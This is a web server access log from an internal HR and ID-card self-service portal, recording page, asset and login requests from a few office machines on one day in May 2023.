192.168.11.97 - - [25/May/2023:12:47:04 +0800] "GET /idcard/js/jqueryui/jquery-1.4.4.min.js HTTP/1.1" 200 78601 "http://192.168.1.81:8088/idcard/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:12:47:04 +0800] "GET /idcard/js/jqueryui/jquery-1.4.4.min.js HTTP/1.1" 200 78601
192.168.11.97 - - [25/May/2023:12:47:06 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.accordion.css HTTP/1.1" 200 1066 "http://192.168.1.81:8088/idcard/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:12:47:06 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.accordion.css HTTP/1.1" 200 1066
192.168.11.97 - - [25/May/2023:12:47:06 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.dialog.css HTTP/1.1" 200 1358 "http://192.168.1.81:8088/idcard/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:12:47:06 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.dialog.css HTTP/1.1" 200 1358
192.168.11.97 - - [25/May/2023:12:47:06 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.slider.css HTTP/1.1" 200 1140 "http://192.168.1.81:8088/idcard/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:12:47:06 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.slider.css HTTP/1.1" 200 1140
192.168.11.97 - - [25/May/2023:12:47:06 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.tabs.css HTTP/1.1" 200 1383 "http://192.168.1.81:8088/idcard/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:12:47:06 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.button.css HTTP/1.1" 200 2471 "http://192.168.1.81:8088/idcard/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:12:47:06 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.tabs.css HTTP/1.1" 200 1383
192.168.11.97 - - [25/May/2023:12:47:06 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.button.css HTTP/1.1" 200 2471
192.168.11.97 - - [25/May/2023:12:46:33 +0800] "GET /idcard/ess/index.php?action=logout HTTP/1.1" 200 11477 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:12:46:33 +0800] "GET /idcard/ess/index.php?action=logout HTTP/1.1" 200 11477
192.168.11.97 - - [25/May/2023:12:47:07 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.progressbar.css HTTP/1.1" 200 357 "http://192.168.1.81:8088/idcard/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:12:47:07 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.progressbar.css HTTP/1.1" 200 357
192.168.11.97 - - [25/May/2023:12:47:08 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.datepicker.css HTTP/1.1" 200 4046
192.168.11.97 - - [25/May/2023:12:47:08 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.datepicker.css HTTP/1.1" 200 4046 "http://192.168.1.81:8088/idcard/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:12:47:08 +0800] "GET /idcard/js/flash_detect_min.js HTTP/1.1" 200 2477 "http://192.168.1.81:8088/idcard/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:12:47:08 +0800] "GET /idcard/js/flash_detect_min.js HTTP/1.1" 200 2477
192.168.11.97 - - [25/May/2023:12:47:08 +0800] "GET /idcard/img/loginbg.gif HTTP/1.1" 200 7026 "http://192.168.1.81:8088/idcard/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:12:47:08 +0800] "GET /idcard/img/loginbg.gif HTTP/1.1" 200 7026
192.168.11.97 - - [25/May/2023:12:47:08 +0800] "GET /idcard/img/index_banner_2.jpg HTTP/1.1" 200 45216 "http://192.168.1.81:8088/idcard/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:12:47:08 +0800] "GET /idcard/img/index_banner_2.jpg HTTP/1.1" 200 45216
192.168.11.97 - - [25/May/2023:12:47:08 +0800] "GET /idcard/img/img1.jpg HTTP/1.1" 200 33358 "http://192.168.1.81:8088/idcard/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:12:47:08 +0800] "GET /idcard/img/img1.jpg HTTP/1.1" 200 33358
192.168.11.97 - - [25/May/2023:12:47:10 +0800] "GET /idcard/css/jqueryui/themes/redmond/images/ui-bg_glass_85_dfeffc_1x400.png HTTP/1.1" 200 123 "http://192.168.1.81:8088/idcard/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:12:47:10 +0800] "GET /idcard/css/jqueryui/themes/redmond/images/ui-bg_glass_85_dfeffc_1x400.png HTTP/1.1" 200 123
192.168.11.97 - - [25/May/2023:12:47:10 +0800] "GET /idcard/img/ares.ico HTTP/1.1" 200 1406 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:12:47:10 +0800] "GET /idcard/img/ares.ico HTTP/1.1" 200 1406
192.168.11.222 - - [25/May/2023:12:44:13 +0800] "POST /idcard/ess/redirect.php?scriptname=IDRB002&appdesc=%E6%89%93%E5%8D%B0%E8%AF%86%E5%88%AB%E8%AF%81 HTTP/1.1" 200 142
192.168.11.222 - - [25/May/2023:12:44:13 +0800] "POST /idcard/ess/redirect.php?scriptname=IDRB002&appdesc=%E6%89%93%E5%8D%B0%E8%AF%86%E5%88%AB%E8%AF%81 HTTP/1.1" 200 142 "http://192.168.1.81:8088/idcard/ess/redirect.php?scriptname=IDRB002&appdesc=%E6%89%93%E5%8D%B0%E8%AF%86%E5%88%AB%E8%AF%81" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; Touch; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [25/May/2023:12:43:27 +0800] "POST /idcard/ess/redirect.php?scriptname=IDRB002&appdesc=%E6%89%93%E5%8D%B0%E8%AF%86%E5%88%AB%E8%AF%81 HTTP/1.1" 200 3
192.168.11.222 - - [25/May/2023:12:43:27 +0800] "POST /idcard/ess/redirect.php?scriptname=IDRB002&appdesc=%E6%89%93%E5%8D%B0%E8%AF%86%E5%88%AB%E8%AF%81 HTTP/1.1" 200 3 "http://192.168.1.81:8088/idcard/ess/redirect.php?scriptname=IDRB002&appdesc=%E6%89%93%E5%8D%B0%E8%AF%86%E5%88%AB%E8%AF%81" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; Touch; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [25/May/2023:12:45:54 +0800] "POST /idcard/ess/redirect.php?scriptname=IDRB002&appdesc=%E6%89%93%E5%8D%B0%E8%AF%86%E5%88%AB%E8%AF%81 HTTP/1.1" 200 142 "http://192.168.1.81:8088/idcard/ess/redirect.php?scriptname=IDRB002&appdesc=%E6%89%93%E5%8D%B0%E8%AF%86%E5%88%AB%E8%AF%81" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; Touch; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [25/May/2023:12:45:54 +0800] "POST /idcard/ess/redirect.php?scriptname=IDRB002&appdesc=%E6%89%93%E5%8D%B0%E8%AF%86%E5%88%AB%E8%AF%81 HTTP/1.1" 200 142
192.168.11.97 - - [25/May/2023:12:48:50 +0800] "GET /idcard/css/jqueryui/themes/redmond/images/ui-bg_glass_75_d0e5f5_1x400.png HTTP/1.1" 200 124 "http://192.168.1.81:8088/idcard/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:12:48:50 +0800] "GET /idcard/css/jqueryui/themes/redmond/images/ui-bg_glass_75_d0e5f5_1x400.png HTTP/1.1" 200 124
192.168.11.97 - - [25/May/2023:12:48:50 +0800] "GET /idcard/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_f5f8f9_1x100.png HTTP/1.1" 200 104 "http://192.168.1.81:8088/idcard/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:12:48:50 +0800] "GET /idcard/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_f5f8f9_1x100.png HTTP/1.1" 200 104
192.168.11.97 - - [25/May/2023:12:48:50 +0800] "POST /idcard/ess/includes/login.php HTTP/1.1" 200 - "http://192.168.1.81:8088/idcard/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:12:48:50 +0800] "POST /idcard/ess/includes/login.php HTTP/1.1" 200 -
192.168.11.97 - - [25/May/2023:12:50:00 +0800] "POST /idcard/ess/includes/login.php HTTP/1.1" 200 - "http://192.168.1.81:8088/idcard/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:12:50:00 +0800] "POST /idcard/ess/includes/login.php HTTP/1.1" 200 -
192.168.11.97 - - [25/May/2023:12:51:18 +0800] "POST /idcard/ess/includes/login.php HTTP/1.1" 200 - "http://192.168.1.81:8088/idcard/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:12:51:18 +0800] "POST /idcard/ess/includes/login.php HTTP/1.1" 200 -
192.168.11.97 - - [25/May/2023:12:52:49 +0800] "POST /idcard/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.81:8088/idcard/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:12:52:49 +0800] "POST /idcard/ess/includes/login.php HTTP/1.1" 302 -
192.168.11.97 - - [25/May/2023:12:53:11 +0800] "GET /idcard/ess/redirect.php HTTP/1.1" 200 5549 "http://192.168.1.81:8088/idcard/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:12:53:11 +0800] "GET /idcard/ess/redirect.php HTTP/1.1" 200 5549
192.168.11.97 - - [25/May/2023:12:53:22 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.all.css HTTP/1.1" 304 - "http://192.168.1.81:8088/idcard/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:12:53:22 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.all.css HTTP/1.1" 304 -
192.168.11.97 - - [25/May/2023:12:53:22 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.base.css HTTP/1.1" 304 - "http://192.168.1.81:8088/idcard/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:12:53:22 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.base.css HTTP/1.1" 304 -
192.168.11.97 - - [25/May/2023:12:53:22 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.theme.css HTTP/1.1" 304 - "http://192.168.1.81:8088/idcard/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:12:53:22 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.theme.css HTTP/1.1" 304 -
192.168.11.97 - - [25/May/2023:12:53:22 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.core.css HTTP/1.1" 304 -
192.168.11.97 - - [25/May/2023:12:53:22 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.core.css HTTP/1.1" 304 - "http://192.168.1.81:8088/idcard/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:12:53:22 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.resizable.css HTTP/1.1" 304 - "http://192.168.1.81:8088/idcard/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:12:53:22 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.resizable.css HTTP/1.1" 304 -
192.168.11.97 - - [25/May/2023:12:53:22 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.selectable.css HTTP/1.1" 304 - "http://192.168.1.81:8088/idcard/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:12:53:22 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.selectable.css HTTP/1.1" 304 -
192.168.11.97 - - [25/May/2023:12:53:22 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.accordion.css HTTP/1.1" 304 -
192.168.11.97 - - [25/May/2023:12:53:22 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.accordion.css HTTP/1.1" 304 - "http://192.168.1.81:8088/idcard/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:12:53:22 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.autocomplete.css HTTP/1.1" 304 -
192.168.11.97 - - [25/May/2023:12:53:22 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.autocomplete.css HTTP/1.1" 304 - "http://192.168.1.81:8088/idcard/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:12:53:22 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.button.css HTTP/1.1" 304 - "http://192.168.1.81:8088/idcard/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:12:53:22 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.button.css HTTP/1.1" 304 -
192.168.11.97 - - [25/May/2023:12:53:22 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.dialog.css HTTP/1.1" 304 -
192.168.11.97 - - [25/May/2023:12:53:22 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.dialog.css HTTP/1.1" 304 - "http://192.168.1.81:8088/idcard/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:12:53:22 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.slider.css HTTP/1.1" 304 - "http://192.168.1.81:8088/idcard/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:12:53:22 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.slider.css HTTP/1.1" 304 -
192.168.11.97 - - [25/May/2023:12:53:22 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.tabs.css HTTP/1.1" 304 - "http://192.168.1.81:8088/idcard/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:12:53:22 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.tabs.css HTTP/1.1" 304 -
192.168.11.97 - - [25/May/2023:12:53:22 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.datepicker.css HTTP/1.1" 304 -
192.168.11.97 - - [25/May/2023:12:53:22 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.datepicker.css HTTP/1.1" 304 - "http://192.168.1.81:8088/idcard/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:12:53:22 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.progressbar.css HTTP/1.1" 304 - "http://192.168.1.81:8088/idcard/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:12:53:22 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.progressbar.css HTTP/1.1" 304 -
192.168.11.97 - - [25/May/2023:12:53:22 +0800] "GET /idcard/css/layout/layout.min.css HTTP/1.1" 200 3534
192.168.11.97 - - [25/May/2023:12:53:22 +0800] "GET /idcard/css/layout/layout.min.css HTTP/1.1" 200 3534 "http://192.168.1.81:8088/idcard/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:12:53:22 +0800] "GET /idcard/img/logo.gif HTTP/1.1" 304 - "http://192.168.1.81:8088/idcard/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:12:53:22 +0800] "GET /idcard/img/logo.gif HTTP/1.1" 304 -
192.168.11.97 - - [25/May/2023:12:53:22 +0800] "GET /idcard/img/icon_exit.png HTTP/1.1" 200 3607
192.168.11.97 - - [25/May/2023:12:53:22 +0800] "GET /idcard/img/icon_exit.png HTTP/1.1" 200 3607 "http://192.168.1.81:8088/idcard/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:12:53:22 +0800] "GET /idcard/js/jqueryui/jquery-1.4.4.min.js HTTP/1.1" 304 -
192.168.11.97 - - [25/May/2023:12:53:22 +0800] "GET /idcard/js/jqueryui/jquery-1.4.4.min.js HTTP/1.1" 304 - "http://192.168.1.81:8088/idcard/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:12:53:22 +0800] "GET /idcard/img/ess-logo.png HTTP/1.1" 200 13038
192.168.11.97 - - [25/May/2023:12:53:22 +0800] "GET /idcard/img/ess-logo.png HTTP/1.1" 200 13038 "http://192.168.1.81:8088/idcard/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:12:53:22 +0800] "GET /idcard/img/human.png HTTP/1.1" 200 26107
192.168.11.97 - - [25/May/2023:12:53:22 +0800] "GET /idcard/img/human.png HTTP/1.1" 200 26107 "http://192.168.1.81:8088/idcard/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:12:53:22 +0800] "GET /idcard/js/jqueryui/jquery-ui-1.8.11.custom.min.js HTTP/1.1" 304 -
192.168.11.97 - - [25/May/2023:12:53:22 +0800] "GET /idcard/js/jqueryui/jquery-ui-1.8.11.custom.min.js HTTP/1.1" 304 - "http://192.168.1.81:8088/idcard/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:12:53:22 +0800] "GET /idcard/js/jquery.layout.min-1.2.0.js HTTP/1.1" 200 34635 "http://192.168.1.81:8088/idcard/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:12:53:22 +0800] "GET /idcard/js/jquery.layout.min-1.2.0.js HTTP/1.1" 200 34635
192.168.11.97 - - [25/May/2023:12:53:23 +0800] "GET /idcard/js/jquery.cookie.min.js HTTP/1.1" 200 4339
192.168.11.97 - - [25/May/2023:12:53:23 +0800] "GET /idcard/js/jquery.cookie.min.js HTTP/1.1" 200 4339 "http://192.168.1.81:8088/idcard/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:12:53:23 +0800] "GET /idcard/css/jqueryui/themes/redmond/images/ui-bg_glass_85_dfeffc_1x400.png HTTP/1.1" 304 - "http://192.168.1.81:8088/idcard/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:12:53:23 +0800] "GET /idcard/css/jqueryui/themes/redmond/images/ui-bg_glass_85_dfeffc_1x400.png HTTP/1.1" 304 -
192.168.11.97 - - [25/May/2023:12:53:23 +0800] "GET /idcard/css/jqueryui/themes/redmond/images/ui-icons_6da8d5_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.81:8088/idcard/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:12:53:23 +0800] "GET /idcard/css/jqueryui/themes/redmond/images/ui-icons_6da8d5_256x240.png HTTP/1.1" 200 4369
192.168.11.97 - - [25/May/2023:12:53:23 +0800] "GET /idcard/img/layout/toggle-lt.gif HTTP/1.1" 200 871
192.168.11.97 - - [25/May/2023:12:53:23 +0800] "GET /idcard/img/layout/toggle-lt.gif HTTP/1.1" 200 871 "http://192.168.1.81:8088/idcard/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:12:53:23 +0800] "GET /idcard/img/Person.png HTTP/1.1" 200 960 "http://192.168.1.81:8088/idcard/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:12:53:23 +0800] "GET /idcard/img/Person.png HTTP/1.1" 200 960
192.168.11.97 - - [25/May/2023:12:53:23 +0800] "GET /idcard/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_fcfdfd_1x100.png HTTP/1.1" 200 88 "http://192.168.1.81:8088/idcard/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:12:53:23 +0800] "GET /idcard/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_fcfdfd_1x100.png HTTP/1.1" 200 88
198.235.24.239 - - [25/May/2023:12:53:35 +0800] "\x16\x03\x01" 501 205
198.235.24.239 - - [25/May/2023:12:53:35 +0800] "\x16\x03\x01" 501 205 "-" "-"
192.168.11.97 - - [25/May/2023:12:53:22 +0800] "GET /idcard/ess/redirect.php?scriptname=IDRA001 HTTP/1.1" 200 -
192.168.11.97 - - [25/May/2023:12:53:22 +0800] "GET /idcard/ess/redirect.php?scriptname=IDRA001 HTTP/1.1" 200 - "http://192.168.1.81:8088/idcard/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:12:54:22 +0800] "GET /idcard/ess/img/ares.ico HTTP/1.1" 404 221
192.168.11.97 - - [25/May/2023:12:54:22 +0800] "GET /idcard/ess/img/ares.ico HTTP/1.1" 404 221 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.12.36 - - [25/May/2023:12:55:53 +0800] "GET /eHR/img/layout/resizable-w.gif HTTP/1.1" 200 368 "http://192.168.1.81:8088/eHR/css/layout/layout.min.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36 NetType/WIFI MicroMessenger/7.0.20.1781(0x6700143B) WindowsWechat(0x6309021a) XWEB/6939 Flue"
192.168.12.36 - - [25/May/2023:12:55:53 +0800] "GET /eHR/img/layout/resizable-w.gif HTTP/1.1" 200 368
192.168.11.97 - - [25/May/2023:12:55:30 +0800] "GET /idcard/ess/redirect.php HTTP/1.1" 200 - "http://192.168.1.81:8088/idcard/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:12:55:30 +0800] "GET /idcard/ess/redirect.php HTTP/1.1" 200 -
192.168.12.36 - - [25/May/2023:12:55:57 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 - "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36 NetType/WIFI MicroMessenger/7.0.20.1781(0x6700143B) WindowsWechat(0x6309021a) XWEB/6939"
192.168.12.36 - - [25/May/2023:12:55:57 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 -
192.168.11.97 - - [25/May/2023:12:59:15 +0800] "GET /idcard/ess/redirect.php HTTP/1.1" 200 5549 "http://192.168.1.81:8088/idcard/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:12:59:15 +0800] "GET /idcard/ess/redirect.php HTTP/1.1" 200 5549
192.168.11.97 - - [25/May/2023:12:59:24 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.all.css HTTP/1.1" 304 -
192.168.11.97 - - [25/May/2023:12:59:24 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.all.css HTTP/1.1" 304 - "http://192.168.1.81:8088/idcard/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:12:59:24 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.base.css HTTP/1.1" 304 -
192.168.11.97 - - [25/May/2023:12:59:24 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.base.css HTTP/1.1" 304 - "http://192.168.1.81:8088/idcard/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:12:59:24 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.theme.css HTTP/1.1" 304 - "http://192.168.1.81:8088/idcard/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:12:59:24 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.theme.css HTTP/1.1" 304 -
192.168.11.97 - - [25/May/2023:12:59:24 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.core.css HTTP/1.1" 304 -
192.168.11.97 - - [25/May/2023:12:59:24 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.core.css HTTP/1.1" 304 - "http://192.168.1.81:8088/idcard/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:12:59:24 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.resizable.css HTTP/1.1" 304 - "http://192.168.1.81:8088/idcard/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:12:59:24 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.resizable.css HTTP/1.1" 304 -
